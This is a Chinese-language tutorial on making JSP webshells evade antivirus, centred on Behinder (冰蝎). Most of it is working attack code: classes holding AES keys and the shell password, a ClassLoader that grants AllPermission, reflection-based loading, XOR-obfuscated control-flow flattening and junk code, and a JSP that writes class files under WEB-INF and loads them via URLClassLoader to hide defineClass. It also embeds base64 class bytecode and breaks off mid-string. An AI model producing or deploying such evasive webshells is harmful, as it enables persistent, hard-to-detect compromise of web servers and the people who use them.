高度混淆和多层嵌套的JSP案例免杀思路

免责声明：本文所涉及的技术仅供学习和参考，严禁使用本文内容从事违法行为和未授权行为，如因个人原因造成不良后果，均由使用者本人负责，作者及本博客不承担任何责任。

01 分析特征

目前webshell检测方式还是以检测特征为主，像JSP木马中常见的Runtime、ProcessBuilder、readObject、invoke、defineClass、ClassLoader等，基本上杀软直接就给杀掉了。从这里可以看出，JSP木马主要就是以反射、类加载器、反序列化这几个特征为主。

02 绕过思路

最简单的绕过方式就是避免在代码中直接出现以上特征代码，为了避免直接出现特征代码就得将恶意代码单独写成一个类，然后通过类加载器加载字节码来调用恶意代码。但是目前webshell检测基本只要出现类加载器就判断为高危或者恶意文件，所以需要将加载器与上传的JSP分离，并且JSP文件内容越多，越容易被检测出来。同时为了增加代码分析难度，就需要对代码进行深层的混淆和嵌套，并且尽可能增加获取到如连接密码、密钥等重要信息的难度。

03 嵌套混淆

以冰蝎马为例，先将密码、密钥等各种重要信息写成一个类，并且使用0和O的组合进行代码混淆，这里对信息进行了base64编码和aes加密：

public class B4 {public static final String O0O0O0O0O0O0O0O0O0O0 = "760w4R0RMduY2kVaHZPE/y09RJYRkwGwSzSbj4Q6STE="; //key的MD5前16位public static final String O000000000000000000O = "e7nVD5LUxheThU/dfv5uPQ=="; //upublic static final String OOO000000000000O000O = "azhqeHcycXp2M25maDdtOQ=="; //k8jxw2qzv3nfh7m9 aes密码public static final String O0000000000000000O00 = "QUVT"; //AESpublic static final String O0000000000O000O000O = "QUVTL0NCQy9QS0NTNVBhZGRpbmc="; //AES/CBC/PKCS5Paddingpublic static final String O00000000000O000000O = "wKa6cvSCsfVWcek+6jummw=="; //POSTpublic static final String O0000000OO00O000000O = "9KslUQQKH6jcY+5JozmKickRvBWxmZLya7iGiKMrRT2B1gx3WBcVA13GrV5Q44BEqpHyZkVOjZEWNXJaf37LhccBqWqjvIstlxB8Y5cUrQRLLeuecd1y0yuY0IMKrLaV";
}

定义一个自定义类加载器，用于加载B4.class：

private ClassLoader B4ClassLoader() {return new ClassLoader() {@Overrideprotected Class<?> findClass(String className) {try {String encodedData = "yv66vgAAADQAJAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWBwAIAQAJRXZpbENvbnN0AQAUTzBPME8wTzBPME8wTzBPME8wTzABABJMamF2YS9sYW5nL1N0cmluZzsBAA1Db25zdGFudFZhbHVlCAANAQAsNzYwdzRSMFJNZHVZMmtWYUhaUEUveTA5UkpZUmt3R3dTelNiajRRNlNURT0BABRPMDAwMDAwMDAwMDAwMDAwMDAwTwgAEAEAGGU3blZENUxVeGhlVGhVL2RmdjV1UFE9PQEAFE9PTzAwMDAwMDAwMDAwME8wMDBPCAATAQAYYXpocWVIY3ljWHAyTTI1bWFEZHRPUT09AQAUTzAwMDAwMDAwMDAwMDAwMDBPMDAIABYBAARRVVZUAQAUTzAwMDAwMDAwMDBPMDAwTzAwME8IABkBABxRVVZUTDBOQ1F5OVFTME5UTlZCaFpHUnBibWM9AQAUTzAwMDAwMDAwMDAwTzAwMDAwME8IABwBABh3S2E2Y3ZTQ3NmVldjZWsrNmp1bW13PT0BABRPMDAwMDAwME9PMDBPMDAwMDAwTwgAHwEAgDlLc2xVUVFLSDZqY1krNUpvem1LaWNrUnZCV3htWkx5YTdpR2lLTXJSVDJCMWd4M1dCY1ZBMTNHclY1UTQ0QkVxcEh5WmtWT2paRVdOWEphZjM3TGhjY0JxV3FqdklzdGx4QjhZNWNVclFSTExldWVjZDF5MHl1WTBJTUtyTGFWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAClNvdXJjZUZpbGUBAA5FdmlsQ29uc3QuamF2YQAhAAcAAgAAAAcAGQAJAAoAAQALAAAAAgAMABkADgAKAAEACwAAAAIADwAZABEACgABAAsAAAACABIAGQAUAAoAAQALAAAAAgAVABkAFwAKAAEACwAAAAIAGAAZABoACgABAAsAAAACABsAGQAdAAoAAQALAAAAAgAeAAEAAQAFAAYAAQAgAAAAHQABAAEAAAAFKrcAAbEAAAABACEAAAAGAAEAAAADAAEAIgAAAAIAIw==";byte[] classBytes = decodeBase64(encodedData);PermissionCollection permissions = new Permissions();permissions.add(new AllPermission());ProtectionDomain domain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null),permissions,this,null);return defineClass(null, classBytes, 0, classBytes.length, domain);} catch (Exception e) {throw new RuntimeException(e);}}private byte[] decodeBase64(String data) {return Base64.getDecoder().decode(data);}};
}

通过反射去获取B4的密钥、密码等信息，用aes解密再进行调用：

public class B3 {
public B3(HttpServletRequest request, HttpSession session, PageContext pageContext) {ClassLoader classLoader = B4ClassLoader();Class<?> targetClass = classLoader.loadClass("");String field1 = (String) targetClass.getField("O0O0O0O0O0O0O0O0O0O0").get(null);String field2 = (String) targetClass.getField("O00000000000O000000O").get(null);String field3 = (String) targetClass.getField("O000000000000000000O").get(null);String field4 = (String) targetClass.getField("O0000000000000000O00").get(null);String field5 = (String) targetClass.getField("OOO000000000000O000O").get(null);String field6 = (String) targetClass.getField("O0000000000O000O000O").get(null);//冰蝎代码部分String field7 = (String) targetClass.getField("O0000000OO00O000000O").get(null);session.setAttribute(aesDecrypt(field3), aesDecrypt(field1));Cipher cipher = Cipher.getInstance(new String(base64Decode(field4)));cipher.init(2, new SecretKeySpec(aesDecrypt(field1).getBytes(), new String(base64Decode(field4))));String inputLine = request.getReader().readLine();byte[] encodedBytes = base64Decode(inputLine);byte[] decryptedBytes = cipher.doFinal(encodedBytes);ClassLoader pocClassLoader = getPocClass(decryptedBytes);Class<?> pocClass = pocClassLoader.loadClass("");pocClass.getDeclaredConstructor().newInstance().equals(pageContext);
}//加解密类加载器代码省略
}

可以看到，代码中还存在loadClass、equals等恶意关键字，并且代码特征明显，一眼就知道这是个webshell。所以我们还需要对冰蝎部分代码进行混淆处理，最常见的混淆方式就是异或加密和变量名随机化，为了让代码更难理解，我这里还参考了网上一些师傅的方法，将代码放入Switch体中去执行，打乱代码顺序，添加无意义的代码增加理解难度。

实现方式如下：

生成一段打乱顺序的数字的数字表，以"|"为分隔符：

23|5|17|1|29|14|8|22|19|3|11|27|13|2|25|6|20|16|4|28|9|18|10|24|12|21|30|15|7|26

打乱case顺序，利用循环逐个按数字表执行代码：

String a = "23|5|17|1|29|14|8|22|19|3|11|27|13|2|25|6|20|16|4|28|9|18|10|24|12|21|30|15|7|26"
String[] NumList  = a.split("\\|");
int index = 0;
while (true) {int op = Integer.parseInt(NumList[index++]);switch (op) {case 9://xxxxxxbreakcase 20://xxxxxxbreakcase 1://xxxxxxbreakcase 12://xxxxxxbreak//省略...
}
if (index == NumList.length) {break;}
}

现在将数字部分进行异或加密，加密的代码如下：

import java.util.Random;
public class xor {public static void main(String[] args) {Random random = new Random();int a = random.nextInt(1000000);int b = random.nextInt(1000000);int x = a ^ b;int target = 2;int y = x ^ target;int c = random.nextInt(1000000);int d = c ^ y;int result = ((a ^ b) ^ (c ^ d));System.out.println("a: " + a);System.out.println("b: " + b);System.out.println("c: " + c);System.out.println("d: " + d);System.out.println("Result: " + result);System.out.println("Result: (" + a + " ^ " + b + ") ^ (" + c + " ^ " + d + ") = " + result);}
}

替换掉原本的数字：

String a = "23|5|17|1|29|14|8|22|19|3|11|27|13|2|25|6|20|16|4|28|9|18|10|24|12|21|30|15|7|26"
String[] NumList  = a.split("\\|");
int index = (404507 ^ 899544) ^ (963174 ^ 337829);
while (true) {int op = Integer.parseInt(NumList[index++]);switch (op) {case (790601 ^ 898878) ^ (578398 ^ 619552)://xxxxxxbreakcase (247367 ^ 327930) ^ (949851 ^ 571634)://xxxxxxbreakcase (52944 ^ 622333) ^ (15121 ^ 625469)://xxxxxxbreakcase (196875 ^ 285845) ^ (686918 ^ 861908)://xxxxxxbreak//省略...
}
if (index == NumList.length) {break;}
}

然后再添加上无意义的代码并且使用ai将变量名随机化，结合冰蝎代码，得到的B3的主要部分如下：

public class B3 {private String D4fG7h8JkLmN;private String R5tY6u7v8wX9;private String S1a2b3c4d5e6;private String A7sD8fG9h0Jk;private String L1mN2oP3qR4s;private String X5cV6bN7mP8q;private String Q2wE3rT4yU5i;private Cipher Y9z0X8cV7bN6;private String Z1x2c3v4b5n6;private byte[] E7dF8sG9h0J1;private byte[] I9oP8uY7hK6l;private ClassLoader P3qR4sT5uV6w;private Class<?> J7kL8mN9oP0q;public B3(HttpServletRequest N4mO5pQ6rS7t, HttpSession U8vW9xY0zA1b, PageContext C2dE3fG4hI51) {try {ClassLoader M4nO5pQ6rS7t = C7D8E9F0G1H2();Class<?> K8lM9nO0pQ1r = M4nO5pQ6rS7t.loadClass("");D4fG7h8JkLmN = (String) K8lM9nO0pQ1r.getField("O0O0O0O0O0O0O0O0O0O0").get(null);R5tY6u7v8wX9 = (String) K8lM9nO0pQ1r.getField("O00000000000O000000O").get(null);S1a2b3c4d5e6 = (String) K8lM9nO0pQ1r.getField("O000000000000000000O").get(null);L1mN2oP3qR4s = (String) K8lM9nO0pQ1r.getField("O0000000000000000O00").get(null);A7sD8fG9h0Jk = (String) K8lM9nO0pQ1r.getField("OOO000000000000O000O").get(null);X5cV6bN7mP8q = (String) K8lM9nO0pQ1r.getField("O0000000000O000O000O").get(null);Q2wE3rT4yU5i = (String) K8lM9nO0pQ1r.getField("O0000000OO00O000000O").get(null);String[] Y9z0X8cV7bN6List = I3J4K5L6M7N8(Q2wE3rT4yU5i).split("\\|");if (N4mO5pQ6rS7t.getMethod().equals(I3J4K5L6M7N8(R5tY6u7v8wX9))) {Random random = new Random();int A4bC5dE6fG7h = (499309 ^ 334839) ^ (87820 ^ 250518);while (true) {int B8cD9eF0gH1i = Integer.parseInt(Y9z0X8cV7bN6List[A4bC5dE6fG7h++]);switch (B8cD9eF0gH1i) {case (967801 ^ 976651) ^ (985334 ^ 994185):String C2dE3fG4hI5j = new StringBuilder(I3J4K5L6M7N8(S1a2b3c4d5e6)).reverse().toString();U8vW9xY0zA1b.setAttribute("reversedString", C2dE3fG4hI5j);double result = Math.pow(Math.random() * 10, 2);break;case (177362 ^ 370627) ^ (238819 ^ 309232):List<String> D6eF7gH8iJ9k = new ArrayList<>();D6eF7gH8iJ9k.add(I3J4K5L6M7N8(S1a2b3c4d5e6));D6eF7gH8iJ9k.add(I3J4K5L6M7N8(D4fG7h8JkLmN));E7dF8sG9h0J1 = Q5R6S7T8U9V0(Z1x2c3v4b5n6);Collections.shuffle(D6eF7gH8iJ9k);U8vW9xY0zA1b.setAttribute("shuffledList", D6eF7gH8iJ9k);break;case (663245 ^ 979728) ^ (174996 ^ 411221):Calendar E0fG1hI2jK3l = Calendar.getInstance();E0fG1hI2jK3l.set(Calendar.YEAR, 2025);Date date = E0fG1hI2jK3l.getTime();U8vW9xY0zA1b.setAttribute("dummyDate", date);break;case (499468 ^ 784757) ^ (880400 ^ 67962):Thread F4gH5iJ6kL7m = new Thread(() -> {try {Thread.sleep(50);} catch (InterruptedException e) {e.printStackTrace();}});F4gH5iJ6kL7m.start();break;case (888266 ^ 799671) ^ (301006 ^ 338358):int G8hI9jK0lM1n = random.nextInt(100) + random.nextInt(100);U8vW9xY0zA1b.setAttribute("randomValue", G8hI9jK0lM1n);break;case (180570 ^ 536148) ^ (548141 ^ 176699):Pattern H2iJ3kL4mN5o = Pattern.compile("[a-zA-Z0-9]+");Matcher J0kL1mN2oP3q = H2iJ3kL4mN5o.matcher(I3J4K5L6M7N8(S1a2b3c4d5e6));if (J0kL1mN2oP3q.find()) {U8vW9xY0zA1b.setAttribute("matchedGroup", J0kL1mN2oP3q.group());}break;case (173879 ^ 347204) ^ (821198 ^ 748716):File I6jK7lM8nO9p = new File("dummy.txt");U8vW9xY0zA1b.setAttribute(I3J4K5L6M7N8(S1a2b3c4d5e6), I3J4K5L6M7N8(D4fG7h8JkLmN));boolean K4lM5nO6pQ7r = I6jK7lM8nO9p.exists();U8vW9xY0zA1b.setAttribute("fileExists", K4lM5nO6pQ7r);break;case (873414 ^ 402183) ^ (304085 ^ 1037084):InetAddress L8mN9oP0qQ1s = InetAddress.getLoopbackAddress();Y9z0X8cV7bN6.init(2, new SecretKeySpec(I3J4K5L6M7N8(D4fG7h8JkLmN).getBytes(), new String(Q5R6S7T8U9V0(L1mN2oP3qR4s))));U8vW9xY0zA1b.setAttribute("loopbackAddress", L8mN9oP0qQ1s.getHostAddress());break;case (846348 ^ 838459) ^ (372698 ^ 364280):try {Field M2nO3pQ4rS5t = String.class.getDeclaredField("value");M2nO3pQ4rS5t.setAccessible(true);J7kL8mN9oP0q = P3qR4sT5uV6w.loadClass("");Object N6oP7qQ8rS9u = M2nO3pQ4rS5t.get(I3J4K5L6M7N8(S1a2b3c4d5e6));U8vW9xY0zA1b.setAttribute("fieldValue", N6oP7qQ8rS9u);} catch (Exception e) {e.printStackTrace();}break;case (991346 ^ 404062) ^ (234282 ^ 694541):try {Cipher O0pQ1rS2tU3v = Cipher.getInstance(new String(Q5R6S7T8U9V0(L1mN2oP3qR4s)));Z1x2c3v4b5n6 = N4mO5pQ6rS7t.getReader().readLine();O0pQ1rS2tU3v.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(I3J4K5L6M7N8(D4fG7h8JkLmN).getBytes(), new String(Q5R6S7T8U9V0(L1mN2oP3qR4s))));byte[] P4qR5sT6tU7w = O0pQ1rS2tU3v.doFinal(I3J4K5L6M7N8(S1a2b3c4d5e6).getBytes());U8vW9xY0zA1b.setAttribute("encryptedData", P4qR5sT6tU7w);} catch (Exception e) {e.printStackTrace();}break;case (816457 ^ 824071) ^ (283420 ^ 308552):Map<String, Integer> Q8rS9tU0vV1x = new HashMap<>();Q8rS9tU0vV1x.put("dummyKey", 42);Q8rS9tU0vV1x.put(I3J4K5L6M7N8(S1a2b3c4d5e6), random.nextInt(100));U8vW9xY0zA1b.setAttribute("dummyMap", Q8rS9tU0vV1x);break;case (166148 ^ 912402) ^ (528477 ^ 488773):try (InputStream Q8rS9tU0vV1s = new ByteArrayInputStream(I3J4K5L6M7N8(S1a2b3c4d5e6).getBytes())) {U8vW9xY0zA1b.setAttribute(I3J4K5L6M7N8(S1a2b3c4d5e6), I3J4K5L6M7N8(D4fG7h8JkLmN));Y9z0X8cV7bN6 = Cipher.getInstance(new String(Q5R6S7T8U9V0(L1mN2oP3qR4s)));int Q8rS9tU0vV1i = Q8rS9tU0vV1s.read();U8vW9xY0zA1b.setAttribute("byteValue", Q8rS9tU0vV1i);} catch (IOException e) {e.printStackTrace();}break;case (624036 ^ 240466) ^ (820496 ^ 437221):try {throw new UnsupportedOperationException("Dummy exception");} catch (Exception e) {U8vW9xY0zA1b.setAttribute("exceptionMessage", e.getMessage());}break;case (896953 ^ 276288) ^ (615270 ^ 64386):String R2sT3uV4wX5y = String.format("Dummy string: %s", I3J4K5L6M7N8(S1a2b3c4d5e6));U8vW9xY0zA1b.setAttribute("formattedString", R2sT3uV4wX5y);break;case (385748 ^ 271431) ^ (329396 ^ 311351):NumberFormat S6tU7vW8xY9z = NumberFormat.getInstance();S6tU7vW8xY9z.setMaximumFractionDigits(2);double S6tU7vW8xY9x = Math.random() * 100;String S6tU7vW8xY9p = S6tU7vW8xY9z.format(S6tU7vW8xY9x);U8vW9xY0zA1b.setAttribute("formattedNumber", S6tU7vW8xY9p);break;case (632096 ^ 884843) ^ (29657 ^ 284315):int T0uV1wX2yZ3A = 0b10101010;T0uV1wX2yZ3A ^= 0b11110000;U8vW9xY0zA1b.setAttribute("bitwiseResult", T0uV1wX2yZ3A);break;case (40954 ^ 971792) ^ (650145 ^ 499805):int T0uV1wX2yZ3B = 0b10101010;T0uV1wX2yZ3B ^= 0b11110000;U8vW9xY0zA1b.setAttribute("bitwiseResults", T0uV1wX2yZ3B);break;case (199305 ^ 521647) ^ (496433 ^ 224278):Runtime V8wX9yZ0A1B1 = Runtime.getRuntime();long V8wX9yZ0A1Bp = V8wX9yZ0A1B1.freeMemory();U8vW9xY0zA1b.setAttribute("freeMemory", V8wX9yZ0A1Bp);break;case (168612 ^ 163498) ^ (536608 ^ 580661):int[] V8wX9yZ0A1ll = new int[10];Arrays.fill(V8wX9yZ0A1ll, random.nextInt(10));U8vW9xY0zA1b.setAttribute("randomArray", V8wX9yZ0A1ll);break;case (868045 ^ 764721) ^ (333389 ^ 230333):char[] W2xY3zA4B5C6 = I3J4K5L6M7N8(S1a2b3c4d5e6).toCharArray();char X6yZ7A8B9C0D = W2xY3zA4B5C6[random.nextInt(W2xY3zA4B5C6.length)];U8vW9xY0zA1b.setAttribute("randomChar", X6yZ7A8B9C0D);break;case (585829 ^ 117245) ^ (758104 ^ 174276):double Y0zA1B2C3D4E = Math.random() * Math.E;U8vW9xY0zA1b.setAttribute("floatResult", Y0zA1B2C3D4E);break;case (886293 ^ 748722) ^ (241050 ^ 345903):List<Double> Z4xA5B6C7D8E = new ArrayList<>();for (int i = 0; i < 10; i++) {Z4xA5B6C7D8E.add(Math.random() * 100);}P3qR4sT5uV6w = W1X2Y3Z4A5B6(I9oP8uY7hK6l);Collections.sort(Z4xA5B6C7D8E);U8vW9xY0zA1b.setAttribute("sortedNumbers", Z4xA5B6C7D8E);break;case (196317 ^ 860932) ^ (722276 ^ 317604):SimpleDateFormat A8xB9yC0D1E2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");Date A8xB9yC0D1Es = new Date();String A8xG9yC0D1Es = A8xB9yC0D1E2.format(A8xB9yC0D1Es);U8vW9xY0zA1b.setAttribute("formattedDate", A8xG9yC0D1Es);break;case (607597 ^ 578518) ^ (130775 ^ 26730):boolean B2xC3yD4E5F6 = I3J4K5L6M7N8(S1a2b3c4d5e6).equals(I3J4K5L6M7N8(D4fG7h8JkLmN));U8vW9xY0zA1b.setAttribute("isEquals", B2xC3yD4E5F6);break;case (516442 ^ 568830) ^ (696798 ^ 388452):String[] C6yD7xE8F9G0 = I3J4K5L6M7N8(S1a2b3c4d5e6).split("");U8vW9xY0zA1b.setAttribute("stringParts", C6yD7xE8F9G0);break;case (448499 ^ 274677) ^ (386235 ^ 459698):int D0xE1yF2G3H4 = (int) (Math.random() * 100) + (int) (Math.random() * 100);J7kL8mN9oP0q.getDeclaredConstructor().newInstance().equals(C2dE3fG4hI51);U8vW9xY0zA1b.setAttribute("result15", D0xE1yF2G3H4);break;case (288395 ^ 818567) ^ (201886 ^ 724885):String X9yZ1A2B3C4D = I3J4K5L6M7N8(S1a2b3c4d5e6).replaceAll("[a-zA-Z]", "X");U8vW9xY0zA1b.setAttribute("replacedString", X9yZ1A2B3C4D);break;case (660556 ^ 514011) ^ (268207 ^ 644140):Set<String> E5F6G7H8I9J0 = new HashSet<>();I9oP8uY7hK6l = Y9z0X8cV7bN6.doFinal(E7dF8sG9h0J1);E5F6G7H8I9J0.add(I3J4K5L6M7N8(S1a2b3c4d5e6));E5F6G7H8I9J0.add(I3J4K5L6M7N8(D4fG7h8JkLmN));E5F6G7H8I9J0.add("dummy");U8vW9xY0zA1b.setAttribute("dummySet", E5F6G7H8I9J0);break;case (906164 ^ 686585) ^ (336741 ^ 166178):int K1L2M3N4O5P6 = I3J4K5L6M7N8(S1a2b3c4d5e6).length() + I3J4K5L6M7N8(D4fG7h8JkLmN).length();U8vW9xY0zA1b.setAttribute("stringLength", K1L2M3N4O5P6);break;default:break;}if (A4bC5dE6fG7h == Y9z0X8cV7bN6List.length) {break;}}}} catch (Exception e) {throw new RuntimeException(e);}}//类加载器和aes解密代码已省略
}

接下来就是使用jsp调用这段代码，最直接的方法就是使用类加载器直接加载该类的字节码，但是前面也说了，现在只要是出现defineClass类似的关键字就会被识别，无论是重写自定义类加载器还是调用系统的类加载器，直接使用字节码去加载类都会使用到defineClass方法去获取自定义的类字节码。

所以就得换一个思路，为了避免代码中直接出现defineClass关键字，可以使用java.net.URLClassLoader。java.net.URLClassLoader 是 Java 中用于从 URL 路径加载类和资源的类，简而言之就是从本地或者远程加载类文件，只需要将类文件写入到服务器对应可访问路径当中，通过URLClassLoader从服务器资源中加载类。并且该方法加载类不需要手动在代码中使用到defineClass。

将类文件写入到WEN-INF路径下，然后通过URLClassLoader加载，这里我还使用了自定义的加密方法去加密字符串，并且使用了异或和变量随机化，在加载完成后自动删除类文件：

<%!static byte[] O8pQ9qR0sS1i(String G7hI8jK9lM0n) {try {Class<?> A3bC4dE5fG6h = Class.forName("java.util.Base64");java.lang.reflect.Method B7cD8eF9gH0i = A3bC4dE5fG6h.getMethod("getDecoder");Object F3gH4iJ5kL6m = B7cD8eF9gH0i.invoke(null);java.lang.reflect.Method decodeMethod = F3gH4iJ5kL6m.getClass().getMethod(new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("0a0c040e0a08"))), String.class);return (byte[]) decodeMethod.invoke(F3gH4iJ5kL6m, G7hI8jK9lM0n);} catch (Exception e) {throw new RuntimeException(e);}}static byte[] P2qR3sS4tT5q(String I5jK6lM7nO8p) {int H1iJ2kL3mN4o = I5jK6lM7nO8p.length();byte[] M1nO2pQ3rS4t = new byte[H1iJ2kL3mN4o / ((217084 ^ 272486) ^ (395312 ^ 94120))];for (int i = ((852103 ^ 29286) ^ (958582 ^ 250519)); i < H1iJ2kL3mN4o; i += ((747762 ^ 857412) ^ (947501 ^ 526489))) {M1nO2pQ3rS4t[i / ((502120 ^ 261010) ^ (862244 ^ 621276))] = (byte) ((Character.digit(I5jK6lM7nO8p.charAt(i), ((674961 ^ 848399) ^ (41187 ^ 401005))) << ((164227 ^ 465603) ^ (956584 ^ 721900)))+ Character.digit(I5jK6lM7nO8p.charAt(i + ((683304 ^ 78290) ^ (527739 ^ 217472))), ((536265 ^ 930472) ^ (219198 ^ 345167))));}return M1nO2pQ3rS4t;}static byte[] Q6rS7tT8uU9n(byte[] F4gH5iJ6kL7m) {byte[] G8hI9jK0lM1n = "niganmaaiyo".getBytes();byte[] I6jK7lM8nO9p = new byte[F4gH5iJ6kL7m.length];byte[] J0kL1mN2oP3q = G8hI9jK0lM1n.clone();for (int i = ((567595 ^ 981750) ^ (25375 ^ 405698)); i < F4gH5iJ6kL7m.length; i += ((195561 ^ 308067) ^ (968574 ^ 561148))) {for (int j = ((777560 ^ 109580) ^ (548017 ^ 142821)); j < ((998407 ^ 778009) ^ (707776 ^ 929750)) && i + j < F4gH5iJ6kL7m.length; j++) {I6jK7lM8nO9p[i + j] = (byte) (F4gH5iJ6kL7m[i + j] ^ J0kL1mN2oP3q[j]);}for (int j = ((374468 ^ 664914) ^ (423405 ^ 648827)); j < J0kL1mN2oP3q.length; j++) {J0kL1mN2oP3q[j] = (byte) (J0kL1mN2oP3q[j] + (i / ((977393 ^ 397196) ^ (661910 ^ 196579))) % ((902651 ^ 740431) ^ (347438 ^ 247194)));}}return I6jK7lM8nO9p;}static String[] S4tU5vV6wW7h(byte[][] N6oP7qQ8rS9u, HttpServletRequest O0pQ1rS2tU3v) {String[] M2nO3pQ4rS5t = new String[(459697 ^ 724888) ^ (292507 ^ 555697)];for (int k = ((907776 ^ 123065) ^ (830962 ^ 38731)); k < ((830450 ^ 86156) ^ (964461 ^ 216080)); k++) {String[] Q8rS9tU0vV1x = new String[]{new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a4350"))), new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a4353"))), new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a")))};String W2xY3zA4B5C6 = Q8rS9tU0vV1x[k] + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("400a0b001d1e")));String C6yD7xE8F9G0 = O0pQ1rS2tU3v.getServletContext().getRealPath("\\") + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("323e222343242f27320a0b001d1e0412")));String D0xE1yF2G3H4 = C6yD7xE8F9G0 + "\\" + W2xY3zA4B5C6;C6yD7xE8F9G0 = C6yD7xE8F9G0.replace("\\", "/");D0xE1yF2G3H4 = D0xE1yF2G3H4.replace("\\", "/");M2nO3pQ4rS5t[k] = D0xE1yF2G3H4;java.io.File I5J6K7L8M9N0 = new java.io.File(C6yD7xE8F9G0);I5J6K7L8M9N0.mkdirs();byte[] O1P2Q3R4S5T6 = N6oP7qQ8rS9u[k];try (java.io.FileOutputStream fileOutputStream = new java.io.FileOutputStream(D0xE1yF2G3H4)) {int S1T2U3V4W5X6 = 1024 * 1024;for (int i = ((711164 ^ 649100) ^ (593261 ^ 668445)); i < O1P2Q3R4S5T6.length; i += S1T2U3V4W5X6) {int E3F4G5H6I7J8 = Math.min(i + S1T2U3V4W5X6, O1P2Q3R4S5T6.length);fileOutputStream.write(O1P2Q3R4S5T6, i, E3F4G5H6I7J8 - i);fileOutputStream.flush();}} catch (Exception e) {throw new RuntimeException(e);}}return M2nO3pQ4rS5t;}
%>
<%try {String Q5R6S7T8U9V0 = "yv66vgAAADQASAkAAgADBwAEDAAFAAYBAAZFdmlsJDEBAAZ0aGlzJDABAAZMRXZpbDsJAAIACAwACQAKAQAQdmFsJEk5b1A4dVk3aEs2bAEAAltCCgAMAA0HAA4MAA8AEAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWBwASAQAZamF2YS9zZWN1cml0eS9QZXJtaXNzaW9ucwoAEQAUDAAPABUBAAMoKVYHABcBABtqYXZhL3NlY3VyaXR5L0FsbFBlcm1pc3Npb24KABYAFAoAGgAbBwAcDAAdAB4BACJqYXZhL3NlY3VyaXR5L1Blcm1pc3Npb25Db2xsZWN0aW9uAQADYWRkAQAdKExqYXZhL3NlY3VyaXR5L1Blcm1pc3Npb247KVYHACABAB5qYXZhL3NlY3VyaXR5L1Byb3RlY3Rpb25Eb21haW4HACIBABhqYXZhL3NlY3VyaXR5L0NvZGVTb3VyY2UHACQBACFbTGphdmEvc2VjdXJpdHkvY2VydC9DZXJ0aWZpY2F0ZTsKACEAJgwADwAnAQAyKExqYXZhL25ldC9VUkw7W0xqYXZhL3NlY3VyaXR5L2NlcnQvQ2VydGlmaWNhdGU7KVYKAB8AKQwADwAqAQByKExqYXZhL3NlY3VyaXR5L0NvZGVTb3VyY2U7TGphdmEvc2VjdXJpdHkvUGVybWlzc2lvbkNvbGxlY3Rpb247TGphdmEvbGFuZy9DbGFzc0xvYWRlcjtbTGphdmEvc2VjdXJpdHkvUHJpbmNpcGFsOylWCgACACwMAC0ALgEAC2RlZmluZUNsYXNzAQBJKExqYXZhL2xhbmcvU3RyaW5nO1tCSUlMamF2YS9zZWN1cml0eS9Qcm90ZWN0aW9uRG9tYWluOylMamF2YS9sYW5nL0NsYXNzOwcAMAEAE2phdmEvbGFuZy9FeGNlcHRpb24HADIBABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgoAMQA0DAAPADUBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYBACIoTEV2aWw7TGphdmEvbGFuZy9DbGFzc0xvYWRlcjtbQilWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEE1ldGhvZFBhcmFtZXRlcnMBAAlmaW5kQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQANU3RhY2tNYXBUYWJsZQEACVNpZ25hdHVyZQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczwqPjsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhAQAPRW5jbG9zaW5nTWV0aG9kBwBDAQAERXZpbAwARQBGAQAMVzFYMlkzWjRBNUI2AQAbKFtCKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAMSW5uZXJDbGFzc2VzACAAAgAMAAAAAhAQAAkACgAAEBAABQAGAAAAAgAAAA8ANgACADcAAAAoAAIABAAAABAqK7UAASottQAHKiy3AAuxAAAAAQA4AAAABgABAAABRQA5AAAADQMAAIAQAAAAAAAAEBAABAA6ADsAAgA3AAAAhQAGAAQAAABFuwARWbcAE00suwAWWbcAGLYAGbsAH1m7ACFZAQHAACO3ACUsKgG3AChOKgEqtAAHAyq0AAe+LbYAK7BNuwAxWSy3ADO/AAEAAAA6ADsALwACADgAAAAaAAYAAAFJAAgBSgATAUsAKgFRADsBUgA8AVMAPAAAAAYAAXsHAC8APQAAAAIAPgADAD8AAAACAEAAQQAAAAQAQgBEAEcAAAAKAAEAAgAAAAAAAA==";String W1X2Y3Z4A5B6 = "yv66vgAAADQASAkAAgADBwAEDAAFAAYBAAZFdmlsJDIBAAZ0aGlzJDABAAZMRXZpbDsKAAgACQcACgwACwAMAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAGPGluaXQ+AQADKClWCAAOAQRIeXY2NnZnQUFBRFFBSkFvQUFnQURCd0FFREFBRkFBWUJBQkJxWVhaaEwyeGhibWN2VDJKcVpXTjBBUUFHUEdsdWFYUStBUUFES0NsV0J3QUlBUUFKUlhacGJFTnZibk4wQVFBVVR6QlBNRTh3VHpCUE1FOHdUekJQTUU4d1R6QUJBQkpNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNCQUExRGIyNXpkR0Z1ZEZaaGJIVmxDQUFOQVFBc056WXdkelJTTUZKTlpIVlpNbXRXWVVoYVVFVXZlVEE1VWtwWlVtdDNSM2RUZWxOaWFqUlJObE5VUlQwQkFCUlBNREF3TURBd01EQXdNREF3TURBd01EQXdUd2dBRUFFQUdHVTNibFpFTlV4VmVHaGxWR2hWTDJSbWRqVjFVRkU5UFFFQUZFOVBUekF3TURBd01EQXdNREF3TUU4d01EQlBDQUFUQVFBWVlYcG9jV1ZJWTNsaldIQXlUVEkxYldGRVpIUlBVVDA5QVFBVVR6QXdNREF3TURBd01EQXdNREF3TURCUE1